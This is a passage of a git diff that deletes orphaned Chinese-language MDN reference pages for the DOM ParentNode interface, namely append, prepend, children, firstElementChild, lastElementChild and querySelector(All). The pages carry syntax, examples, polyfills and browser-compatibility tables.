Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>28 {{property_prefix("webkit")}}</td> - <td>25 [1]</td> - <td>1.2</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>6 {{property_prefix("webkit")}}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] The parameter wasn't optional until Firefox 30.</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/parentnode/append/index.html b/files/zh-cn/orphaned/web/api/parentnode/append/index.html deleted file mode 100644 index 6f06f7a420..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/append/index.html +++ /dev/null @@ -1,147 +0,0 @@ ---- -title: ParentNode.append() -slug: orphaned/Web/API/ParentNode/append -tags: - - API - - DOM - - Node - - ParentNode - - Reference -translation_of: Web/API/ParentNode/append -original_slug: Web/API/ParentNode/append ---- -<div>{{APIRef("DOM")}}</div> - -<div> <strong><code>ParentNode.append</code></strong> 方法在 <code>ParentNode</code>的最后一个子节点之后插入一组 {{domxref("Node")}} 对象或 {{domxref("DOMString")}} 对象。</div> - -<div>被插入的 {{domxref("DOMString")}} 对象等价为 {{domxref("Text")}} 节点。</div> - -<div></div> - -<div>与 {{domxref("Node.appendChild()")}} 的差异:</div> - -<div></div> - -<ul> - <li><code>ParentNode.append()</code>允许追加 {{domxref("DOMString")}} 对象,而<code><font face="Open Sans, Arial, sans-serif"> </font>Node.appendChild()</code> 只接受 {{domxref("Node")}} 对象。</li> - <li><code>ParentNode.append()</code> <a href="https://repl.it/FgPh/1">没有返回值</a>,而 <code>Node.appendChild()</code> 返回追加的 {{domxref("Node")}} 对象。</li> - <li><code>ParentNode.append()</code> 可以追加多个节点和字符串,而 <code>Node.appendChild()</code> 只能追加一个节点。</li> -</ul> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">[Throws, Unscopable] -void ParentNode.append((Node or DOMString)... nodes); -</pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt><code>nodes</code></dt> - <dd>一组要插入的 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。</dd> -</dl> - -<h3 id="异常">异常</h3> - -<ul> - <li>{{domxref("HierarchyRequestError")}}: 在层次结构中的指定点不能插入节点。</li> -</ul> - -<h2 id="示例">示例</h2> - -<h3 id="插入一个元素节点">插入一个元素节点</h3> - -<pre class="brush: js">var parent = document.createElement("div"); -var p = document.createElement("p"); -parent.append(p); - -console.log(parent.childNodes); // NodeList [ <p> ] -</pre> - -<h3 id="插入文本">插入文本</h3> - -<pre class="brush: js">var parent = document.createElement("div"); -parent.append("Some text"); - -console.log(parent.textContent); // "Some text"</pre> - -<h3 id="插入一个节点,同时插入一些文本">插入一个节点,同时插入一些文本</h3> - -<pre class="brush: js">var parent = document.createElement("div"); -var p = document.createElement("p"); -parent.append("Some text", p); - -console.log(parent.childNodes); // NodeList [ #text "Some text", <p> ]</pre> - -<h3 id="ParentNode.append_方法在_with_语句中不生效"><code>ParentNode.append()</code> 方法在 with 语句中不生效</h3> - -<p>为了保证向后兼容,append 方法在 with 语句中会被特殊处理,详情请看 {{jsxref("Symbol.unscopables")}}。</p> - -<pre class="brush: js">var parent = document.createElement("div"); - -with(parent) { - append("foo"); -} -// ReferenceError: append is not defined </pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p>下面的 Polyfill 只支持到 IE 9 及以上:</p> - -<pre class="brush: js">// Source: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/append()/append().md -(function (arr) { - arr.forEach(function (item) { - if (item.hasOwnProperty('append')) { - return; - } - Object.defineProperty(item, 'append', { - configurable: true, - enumerable: true, - writable: true, - value: function append() { - var argArr = Array.prototype.slice.call(arguments), - docFrag = document.createDocumentFragment(); - - argArr.forEach(function (argItem) { - var isNode = argItem instanceof Node; - docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem))); - }); - - this.appendChild(docFrag); - } - }); - }); -})([Element.prototype, Document.prototype, DocumentFragment.prototype]);</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#dom-parentnode-append', 'ParentNode.append()')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容">浏览器兼容</h2> - - - -<p>{{Compat("api.ParentNode.append")}}</p> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li>{{domxref("ParentNode")}} and {{domxref("ChildNode")}}</li> - <li>{{domxref("ParentNode.prepend()")}}</li> - <li>{{domxref("Node.appendChild()")}}</li> - <li>{{domxref("ChildNode.after()")}}</li> - <li>{{domxref("NodeList")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/parentnode/children/index.html b/files/zh-cn/orphaned/web/api/parentnode/children/index.html deleted file mode 100644 index 70a02ddcca..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/children/index.html +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: ParentNode.children -slug: orphaned/Web/API/ParentNode/children -tags: - - Property -translation_of: Web/API/ParentNode/children -original_slug: Web/API/ParentNode/children ---- -<p>{{ APIRef("DOM") }}</p> - -<p><code><strong>ParentNode.children </strong></code>是一个只读属性,返回 一个Node的子{{domxref("Element","elements")}} ,是一个动态更新的 {{domxref("HTMLCollection")}}。</p> - -<h2 id="Syntax_and_values" name="Syntax_and_values">语法</h2> - -<pre>var <em>children</em> = <em>node</em>.children;</pre> - -<pre class="eval">var <em>elList</em> = elementNodeReference.children; -</pre> - -<h2 id="Notes" name="Notes">备注</h2> - -<p><code>children</code> 属性为只读属性,对象类型为 {{ domxref("HTMLCollection") }},你可以使用 <code>elementNodeReference.children[1].nodeName</code> 来获取某个子元素的标签名称。</p> - -<h2 id="Example" name="Example">例子</h2> - -<pre class="brush: js">// parg是一个指向<p>元素的对象引用 -if (parg.childElementCount) -// 检查这个<p>元素是否有子元素 -// 译者注:childElementCount有兼容性问题 - { - var children = parg.children; - for (var i = 0; i < children.length; i++) - { - // 通过children[i]来获取每个子元素 - // 注意:List是一个live的HTMLCollection对象,在这里添加或删除parg的子元素节点,都会立即改变List的值. - }; - }; -</pre> - -<h2 id="规范" style="margin-bottom: 20px; line-height: 30px;">规范</h2> - -<p> </p> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#dom-parentnode-children', 'ParentNode.children')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>1</td> - <td>3.5</td> - <td>9 (IE6-8 incl commend nodes)</td> - <td>10</td> - <td>4</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatVersionUnknown() }}</td> - <td>{{ CompatVersionUnknown() }}</td> - <td>{{ CompatVersionUnknown() }}</td> - <td>{{ CompatVersionUnknown() }}</td> - <td>{{ CompatVersionUnknown() }}<span style="font-size: 14px; line-height: 1.5;"></span></td> - </tr> - </tbody> -</table> -</div> - -<p style="margin-bottom: 20px; line-height: 30px;">[1] Internet Explorer 6 - 8 支持该属性,但是可能会错误地包含注释 {{domxref("Comment")}} 节点。</p> - -<h2 id="相关链接" style="margin-bottom: 20px; line-height: 30px;">相关链接</h2> - -<ul> - <li>The {{domxref("ParentNode")}} and {{domxref("ChildNode")}} pure interfaces.</li> - <li> - <div class="syntaxbox">Object types implementing this pure interface: {{domxref("Document")}}, {{domxref("Element")}}, and {{domxref("DocumentFragment")}}.</div> - </li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/parentnode/firstelementchild/index.html b/files/zh-cn/orphaned/web/api/parentnode/firstelementchild/index.html deleted file mode 100644 index 8e658b4adc..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/firstelementchild/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Element.firstElementChild -slug: orphaned/Web/API/ParentNode/firstElementChild -translation_of: Web/API/ParentNode/firstElementChild -original_slug: Web/API/ParentNode/firstElementChild ---- -<p>{{ APIRef("DOM") }}</p> - -<p><strong><code>ParentNode.firstElementChild</code></strong> 只读属性,返回对象的第一个子 {{domxref("元素")}}, 如果没有子元素,则为null。</p> - -<div class="note"> -<p><span>他的属性最初是在{{domxref("element遍历")}}纯接口中定义的。由于这个接口包含两组不同的属性,一个针对具有子元素的{{domxref("Node")}},一个针对子元素的属性,因此它们被移动到两个单独的纯接口中,{{domxref("ParentNode")}}和{{domxref("ChildNode")}}。在本例中,firstElementChild移动到{{domxref("ParentNode")}}。这是一个相当技术性的更改,不应该影响兼容性。</span></p> -</div> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">var <em>element</em> = node.firstElementChild; -</pre> - -<h2 id="例子">例子</h2> - -<pre class="brush: html"><ul id="foo"> - <li>First (1)</li> - <li>Second (2)</li> - <li>Third (3)</li> -</ul> - -<script> -var foo = document.getElementById('foo'); -// yields: First (1) -console.log(foo.firstElementChild.textContent); -</script> -</pre> - -<h2 id="适用于_IE8、IE9_和_Safari_的_Polyfill">适用于 IE8、IE9 和 Safari 的 Polyfill</h2> - -<pre><code>// Overwrites native 'firstElementChild' prototype. -// Adds Document & DocumentFragment support for IE9 & Safari. -// Returns array instead of HTMLCollection. -;(function(constructor) { - if (constructor && - constructor.prototype && - constructor.prototype.firstElementChild == null) { - Object.defineProperty(constructor.prototype, 'firstElementChild', { - get: function() { - var node, nodes = this.childNodes, i = 0; - while (node = nodes[i++]) { - if (node.nodeType === 1) { - return node; - } - } - return null; - } - }); - } -})(window.Node || window.Element);</code></pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#dom-parentnode-firstelementchild', 'ParentNode.firstElementChild')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Splitted the <code>ElementTraversal</code>interface in {{domxref("ChildNode")}} and <code>ParentNode</code>. This method is now defined on the latter.<br> - The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.</td> - </tr> - <tr> - <td>{{SpecName('Element Traversal', '#attribute-firstElementChild', 'ElementTraversal.firstElementChild')}}</td> - <td>{{Spec2('Element Traversal')}}</td> - <td>Added its initial definition to the<code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.ParentNode.firstElementChild")}}</p> - -<h2 id="参见">参见</h2> - -<h2 id="Ed"><a class="button section-edit only-icon" href="https://developer.mozilla.org/zh-CN/docs/Web/API/ParentNode/lastElementChild$edit#参见" rel="nofollow, noindex"><span>Ed</span></a></h2> - -<ul> - <li>纯接口 {{domxref("ParentNode")}} 和 {{domxref("ChildNode")}}。</li> - <li> - <div class="syntaxbox">实现了此纯接口的对象类型:{{domxref("Document")}}、{{domxref("Element")}},和 {{domxref("DocumentFragment")}}。</div> - </li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/parentnode/index.html b/files/zh-cn/orphaned/web/api/parentnode/index.html deleted file mode 100644 index c6b9a42c69..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: ParentNode -slug: orphaned/Web/API/ParentNode -tags: - - API - - DOM - - Mixin - - Node - - 参考 - - 接口 - - 节点 -translation_of: Web/API/ParentNode -original_slug: Web/API/ParentNode ---- -<div>{{APIRef("DOM")}}</div> - -<p><code><strong>ParentNode</strong></code> 混合了所有(拥有子元素的) {{domxref("Node")}} 对象包含的共有方法和属性。</p> - -<p><code>ParentNode</code> 是一个原始接口,不能够创建这种类型的对象;它在 {{domxref("Element")}}、{{domxref("Document")}} 和 {{domxref("DocumentFragment")}} 对象上被实现。</p> - -<h2 id="属性">属性</h2> - -<dl> - <dt>{{domxref("ParentNode.childElementCount")}} {{readonlyInline}}</dt> - <dd>返回一个当前 <code>ParentNode</code> 所含有的后代数量。</dd> - <dt>{{domxref("ParentNode.children")}} {{readonlyInline}}</dt> - <dd>返回一个包含 <code>ParentNode</code> 所有后代 {{domxref("Element")}} 对象的动态 {{domxref("HTMLCollection")}} 对象,忽略所有非元素子节点。</dd> - <dt>{{domxref("ParentNode.firstElementChild")}} {{readonlyInline}}</dt> - <dd>返回父节点的第一个 {{domxref("Element")}} 后代,没有时返回 <code>null</code>。</dd> - <dt>{{domxref("ParentNode.lastElementChild")}} {{readonlyInline}}</dt> - <dd>返回父节点的最后一个 {{domxref("Element")}} 后代,没有时返回 <code>null</code>。</dd> -</dl> - -<h2 id="方法">方法</h2> - -<dl> - <dt>{{domxref("ParentNode.append()")}} {{experimental_inline}}</dt> - <dd>在父节点 <code>ParentNode</code> 的最后一个后代后面插入一组 {{domxref("Node")}} 对象或 {{domxref("DOMString")}} 对象。{{domxref("DOMString")}} 对象会以同等的 {{domxref("Text")}} 节点插入。</dd> - <dt>{{domxref("ParentNode.prepend()")}} {{experimental_inline}}</dt> - <dd>在父节点 <code>ParentNode</code> 第一个后代前插入一组 {{domxref("Node")}} 对象或者 {{domxref("DOMString")}} 对象。{{domxref("DOMString")}} 对象会以同等的 {{domxref("Text")}} 节点插入。</dd> - <dt>{{domxref("ParentNode.querySelector()")}}</dt> - <dd>返回以当前元素为根元素,匹配给定选择器的第一个元素 {{domxref("Element")}}。</dd> - <dt>{{domxref("ParentNode.querySelectorAll()")}}</dt> - <dd>返回一个 {{domxref("NodeList")}},表示以当前元素为根元素的匹配给定选择器组的元素列表。</dd> -</dl> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#parentnode', 'ParentNode')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Split the <code>ElementTraversal</code> interface into {{domxref("ChildNode")}} and {{domxref("ParentNode")}}. The {{domxref("ParentNode.firstElementChild")}}, {{domxref("ParentNode.lastElementChild")}}, and {{domxref("ParentNode.childElementCount")}} properties are now defined on the latter. Added the {{domxref("ParentNode.children")}} property, and the {{domxref("ParentNode.querySelector()")}}, {{domxref("ParentNode.querySelectorAll()")}}, {{domxref("ParentNode.append()")}}, and {{domxref("ParentNode.prepend()")}} methods.</td> - </tr> - <tr> - <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td> - <td>{{Spec2('Element Traversal')}}</td> - <td>Added the initial definition of its properties to the <code>ElementTraversal</code> pure interface and used it on {{domxref("Element")}}.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.ParentNode")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>{{domxref("ChildNode")}} 纯接口。</li> - <li> - <div class="syntaxbox">实现此 mixin 的对象类型:{{domxref("Document")}}、{{domxref("Element")}},和 {{domxref("DocumentFragment")}}。</div> - </li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/parentnode/lastelementchild/index.html b/files/zh-cn/orphaned/web/api/parentnode/lastelementchild/index.html deleted file mode 100644 index 566d3a1976..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/lastelementchild/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Element.lastElementChild -slug: orphaned/Web/API/ParentNode/lastElementChild -translation_of: Web/API/ParentNode/lastElementChild -original_slug: Web/API/ParentNode/lastElementChild ---- -<p>{{ APIRef("DOM") }}</p> - -<p>只读属性 <code><strong>ParentNode.lastElementChild</strong></code> 返回对象的最后一个子{{domxref("Element", "元素")}},如果没有子元素,则返回 <code>null</code>。</p> - -<div class="note"> -<p>This property was initially defined in the {{domxref("ElementTraversal")}} pure interface. As this interface contained two distinct set of properties, one aimed at {{domxref("Node")}} that have children, one at those that are children, they have been moved into two separate pure interfaces, {{domxref("ParentNode")}} and {{domxref("ChildNode")}}. In this case, <code>lastElementChild</code> moved to {{domxref("ParentNode")}}. This is a fairly technical change that shouldn't affect compatibility.</p> -</div> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">var <em>element</em> = node.lastElementChild; </pre> - -<h2 id="例子">例子</h2> - -<pre class="brush: html"><ul id="foo"> - <li>First (1)</li> - <li>Second (2)</li> - <li>Third (3)</li> -</ul> - -<script> -var foo = document.getElementById('foo'); -// yields: Third (3) -console.log(foo.lastElementChild.textContent); -</script> -</pre> - -<h2 id="适用于_IE8、IE9_和_Safari_的_Polyfill">适用于 IE8、IE9 和 Safari 的 Polyfill</h2> - -<pre class="brush: js">// Overwrites native 'lastElementChild' prototype. -// Adds Document & DocumentFragment support for IE9 & Safari. -// Returns array instead of HTMLCollection. -;(function(constructor) { - if (constructor && - constructor.prototype && - constructor.prototype.lastElementChild == null) { - Object.defineProperty(constructor.prototype, 'lastElementChild', { - get: function() { - var node, nodes = this.childNodes, i = nodes.length - 1; - while (node = nodes[i--]) { - if (node.nodeType === 1) { - return node; - } - } - return null; - } - }); - } -})(window.Node || window.Element); -</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#dom-parentnode-lastelementchild', 'ParentNode.lastElementChild')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Splitted the <code>ElementTraversal</code> interface in {{domxref("ChildNode")}} and <code>ParentNode</code>. This method is now defined on the latter.<br> - The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.</td> - </tr> - <tr> - <td>{{SpecName('Element Traversal', '#attribute-lastElementChild', 'ElementTraversal.lastElementChild')}}</td> - <td>{{Spec2('Element Traversal')}}</td> - <td>Added its initial definition to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.ParentNode.lastElementChild")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>纯接口 {{domxref("ParentNode")}} 和 {{domxref("ChildNode")}}。</li> - <li> - <div class="syntaxbox">实现了此纯接口的对象类型:{{domxref("Document")}}、{{domxref("Element")}},和 {{domxref("DocumentFragment")}}。</div> - </li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/parentnode/prepend/index.html b/files/zh-cn/orphaned/web/api/parentnode/prepend/index.html deleted file mode 100644 index c2779973b0..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/prepend/index.html +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: ParentNode.prepend() -slug: orphaned/Web/API/ParentNode/prepend -tags: - - API - - DOM - - Method - - Node - - ParentNode - - Reference - - prepend - - 方法 -translation_of: Web/API/ParentNode/prepend -original_slug: Web/API/ParentNode/prepend ---- -<div>{{APIRef("DOM")}}</div> - -<p><strong><code>ParentNode.prepend</code></strong> 方法可以在父节点的第一个子节点之前插入一系列{{domxref("Node")}}对象或者{{domxref("DOMString")}}对象。{{domxref("DOMString")}}会被当作{{domxref("Text")}}节点对待(也就是说插入的不是HTML代码)。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">ParentNode.prepend((Node or DOMString)... nodes); -</pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt><code>nodes</code></dt> - <dd>要插入的一系列{{domxref("Node")}}或者{{domxref("DOMString")}}。</dd> -</dl> - -<h3 id="返回值">返回值</h3> - -<p><code>undefined</code>.</p> - -<h3 id="错误">错误</h3> - -<ul> - <li>{{domxref("HierarchyRequestError")}}:节点不能插入当前层级内。</li> -</ul> - -<h2 id="例子">例子</h2> - -<h3 id="Prepending_an_element">Prepending an element</h3> - -<pre class="brush: js">var parent = document.createElement("div"); -var p = document.createElement("p"); -var span = document.createElement("span"); -parent.append(p); -parent.prepend(span); - -console.log(parent.childNodes); // NodeList [ <span>, <p> ] -</pre> - -<h3 id="Prepending_text">Prepending text</h3> - -<pre class="brush: js">var parent = document.createElement("div"); -parent.append("Some text"); -parent.prepend("Headline: "); - -console.log(parent.textContent); // "Headline: Some text"</pre> - -<h3 id="Appending_an_element_and_text">Appending an element and text</h3> - -<pre class="brush: js">var parent = document.createElement("div"); -var p = document.createElement("p"); -parent.prepend("Some text", p); - -console.log(parent.childNodes); // NodeList [ #text "Some text", <p> ]</pre> - -<h3 id="ParentNode.prepend_is_unscopable"><code>ParentNode.prepend()</code> is unscopable</h3> - -<p><code>prepend()不能在with语句内使用,详情参考</code>{{jsxref("Symbol.unscopables")}}。</p> - -<pre class="brush: js">var parent = document.createElement("div"); - -with(parent) { - prepend("foo"); -} -// ReferenceError: prepend is not defined </pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p>使用下面的代码在IE9或更高版本中模拟<code>prepend()</code>方法:</p> - -<pre class="brush: js">// from: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/prepend()/prepend().md -(function (arr) { - arr.forEach(function (item) { - item.prepend = item.prepend || function () { - var argArr = Array.prototype.slice.call(arguments), - docFrag = document.createDocumentFragment(); - - argArr.forEach(function (argItem) { - var isNode = argItem instanceof Node; - docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem))); - }); - - this.insertBefore(docFrag, this.firstChild); - }; - }); -})([Element.prototype, Document.prototype, DocumentFragment.prototype]);</pre> - -<h2 id="说明">说明</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#dom-parentnode-prepend', 'ParentNode.prepend()')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="兼容性">兼容性</h2> - - - -<p>{{Compat("api.ParentNode.prepend")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{domxref("ParentNode")}} and {{domxref("ChildNode")}}</li> - <li>{{domxref("ParentNode.append()")}}</li> - <li>{{domxref("Node.appendChild()")}}</li> - <li>{{domxref("Node.insertBefore()")}}</li> - <li>{{domxref("ChildNode.before()")}}</li> - <li>{{domxref("NodeList")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/parentnode/queryselector/index.html b/files/zh-cn/orphaned/web/api/parentnode/queryselector/index.html deleted file mode 100644 index 7623caa0ba..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/queryselector/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: ParentNode.querySelector() -slug: orphaned/Web/API/ParentNode/querySelector -translation_of: Web/API/ParentNode/querySelector -original_slug: Web/API/ParentNode/querySelector ---- -<p>{{APIRef("DOM")}}{{Draft}}</p> - -<p>{{DOMxRef("ParentNode")}} mixin 将 <code><strong>querySelector()</strong></code> 方法定义为返回一个 {{DOMxRef("Element")}} 表示与指定的选择器组匹配的第一个元素,这些选择器是调用该方法的对象的后代。</p> - -<p>如果您需要与选择器列表匹配的所有元素,使用 {{DOMxRef("ParentNode.querySelectorAll", "querySelectorAll()")}} 。</p> - -<div class="blockIndicator note"> -<p><strong>Note:</strong> 该方法的实现为 {{DOMxRef("Document.querySelector()")}}, {{DOMxRef("DocumentFragment.querySelector()")}} 和 {{DOMxRef("Element.querySelector()")}}.</p> -</div> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox"><var>element</var> = <em>parentNode</em>.querySelector(<var>selectors</var>); -</pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt><code>selectors</code></dt> - <dd>{{DOMxRef("DOMString")}} 包含一个或多个要匹配的选择器。该字符串必须是浏览器支持的<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Selectors">compound selector list</a> ;如果不是, 会抛出 <code>SyntaxError</code> 异常. 查阅 <a href="/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Locating DOM elements using selectors</a> 获取有关选择器使用的更多信息. 可以通过使用逗号分隔多个选择器来指定它们。</dd> -</dl> - -<div class="blockIndicator note"> -<p><strong>Note:</strong> 必须使用反斜杠字符转义不属于CSS语法的字符。由于JavaScript也使用退格转义,因此在使用这些字符编写字符串文字是必须特别小心。查阅 {{anch("Escaping special characters")}} 获取更多信息。</p> -</div> - -<h3 id="返回值">返回值</h3> - -<p>第一个 {{DOMxRef("Element")}} 匹配至少一个指定的选择器,如果没有找到这样的元素,返回 <code>null</code> 。</p> - -<div class="blockIndicator note"> -<p><strong>Note:</strong> 如果指定的选择器包含 <a href="/en-US/docs/Web/CSS/Pseudo-elements">CSS pseudo-element</a>, 则返回值始终为 <code>null</code>.</p> -</div> - -<h3 id="Exceptions">Exceptions</h3> - -<dl> - <dt><code>SyntaxError</code></dt> - <dd>指定的 <code>selectors</code> 字符串语法无效。</dd> -</dl> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName("DOM WHATWG", "#dom-parentnode-queryselector", "ParentNode.querySelector()")}}</td> - <td>{{Spec2("DOM WHATWG")}}</td> - <td>Living standard</td> - </tr> - <tr> - <td>{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselector", "ParentNode.querySelector()")}}</td> - <td>{{Spec2("Selectors API Level 2")}}</td> - <td>No change</td> - </tr> - <tr> - <td>{{SpecName("DOM4", "#dom-parentnode-queryselector", "ParentNode.querySelector()")}}</td> - <td>{{Spec2("DOM4")}}</td> - <td>Initial definition</td> - </tr> - <tr> - <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td> - <td>{{Spec2("Selectors API Level 1")}}</td> - <td>Original definition</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("api.ParentNode.querySelector")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Locating DOM elements using selectors</a></li> - <li><a href="/en-US/docs/Code_snippets/QuerySelector">Code snippets for <code>querySelector()</code></a></li> - <li><a href="/en-US/docs/Web/CSS/Attribute_selectors">Attribute selectors</a> in the CSS Guide</li> - <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Attribute_selectors">Attribute selectors</a> in the MDN Learning Area</li> - <li>This method is available as {{DOMxRef("Element.querySelector()")}}, {{DOMxRef("Document.querySelector()")}}, and {{DOMxRef("DocumentFragment.querySelector()")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/parentnode/queryselectorall/index.html b/files/zh-cn/orphaned/web/api/parentnode/queryselectorall/index.html deleted file mode 100644 index 10936dd5d2..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/queryselectorall/index.html +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: ParentNode.querySelectorAll() -slug: orphaned/Web/API/ParentNode/querySelectorAll -tags: - - API - - DOM - - Document - - ParentNode - - 参考 - - 方法 - - 查找 - - 选择器 -translation_of: Web/API/ParentNode/querySelectorAll -original_slug: Web/API/ParentNode/querySelectorAll ---- -<div>{{ApiRef("DOM")}}</div> - -<p>The {{domxref("ParentNode")}} mixin defines the <code><strong>querySelectorAll()</strong></code> method 返回一个 {{domxref("NodeList")}} 表示元素的列表,把当前的元素作为根与指定的选择器组相匹配。</p> - -<p>如果你只需要一个结果,可以考虑使用{{domxref("ParentNode.querySelector", "querySelector()")}}方法来代替。</p> - -<div class="note"> -<p><strong>Note:</strong> This method is implemented as {{domxref("Element.querySelectorAll()")}}, {{domxref("Document.querySelectorAll()")}}, and {{domxref("DocumentFragment.querySelectorAll()")}}</p> -</div> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox notranslate"><var>elementList</var> = <em>parentNode</em>.querySelectorAll(<var>selectors</var>); -</pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt><code>selectors</code></dt> - <dd>一个或多个<a href="/en-US/docs/Web/CSS/CSS_Selectors">CSS选择器</a>,这些选择器由逗号隔开。</dd> - <dd>A {{domxref("DOMString")}} containing one or more selectors to match against. This string must be a valid <a href="/en-US/docs/Web/CSS/CSS_Selectors">CSS selector</a> string; if it's not, a <code>SyntaxError</code> exception is thrown. See <a href="/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Locating DOM elements using selectors</a> for more information about using selectors to identify elements. Multiple selectors may be specified by separating them using commas.</dd> -</dl> - -<div class="note"> -<p><strong>Note:</strong> Characters which are not part of standard CSS syntax must be escaped using a 